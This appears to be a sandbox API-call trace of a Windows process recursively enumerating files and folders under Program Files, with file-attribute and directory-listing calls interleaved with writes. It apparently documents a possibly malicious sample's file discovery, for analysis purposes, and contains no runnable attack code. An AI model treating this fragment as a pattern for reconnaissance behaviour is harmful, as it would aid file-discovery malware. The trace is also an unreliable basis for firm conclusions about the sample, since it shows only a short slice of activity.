	[0243.986] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5600)) returned 1
	[0243.986] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.986] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79680792, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x79680792, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x79680792, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x101200)) returned 1
	[0243.987] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.987] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7965a52d, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7965a52d, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x7965a52d, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x9e1a0)) returned 1
	[0243.987] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.987] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6ebfe576, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x17a00)) returned 1
	[0243.999] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.999] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0244.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.000] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0244.000] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.000] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0244.001] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0244.001] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0244.001] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.001] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800)) returned 1
	[0244.002] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0244.002] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0244.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.002] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0244.003] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.003] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0244.003] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0244.003] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0244.003] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.004] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800)) returned 1
	[0244.004] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0244.004] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0244.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.004] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0244.005] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.005] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0244.005] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0244.005] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0244.005] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.006] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00)) returned 1
	[0244.006] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0244.006] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0244.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.007] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0244.007] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.007] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e0daa01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e0daa01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0244.007] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0244.007] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0244.008] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.008] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e0daa01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e0daa01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00)) returned 1
	[0244.008] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0244.008] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer" (normalized: "c:\\program files\\internet explorer"), fInfoLevelId=0x0, lpFileInformation=0xc0001dfa18 | out: lpFileInformation=0xc0001dfa18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe9ceadd8, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe9ceadd8, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0244.012] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer" (normalized: "c:\\program files\\internet explorer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.012] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0xc0001df7d0 | out: lpFindFileData=0xc0001df7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe9ceadd8, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe9ceadd8, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0244.030] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe9ceadd8, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe9ceadd8, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.030] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0244.034] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1
	[0244.035] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec7c0a00, ftCreationTime.dwHighDateTime=0x1d5d5d5, ftLastAccessTime.dwLowDateTime=0x61850680, ftLastAccessTime.dwHighDateTime=0x1d56637, ftLastWriteTime.dwLowDateTime=0x61850680, ftLastWriteTime.dwHighDateTime=0x1d56637, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="filezilla.exe", cAlternateFileName="FILEZI~1.EXE")) returned 1
	[0244.035] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd400, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1
	[0244.035] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a49fe45, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iediagcmd.exe", cAlternateFileName="")) returned 1
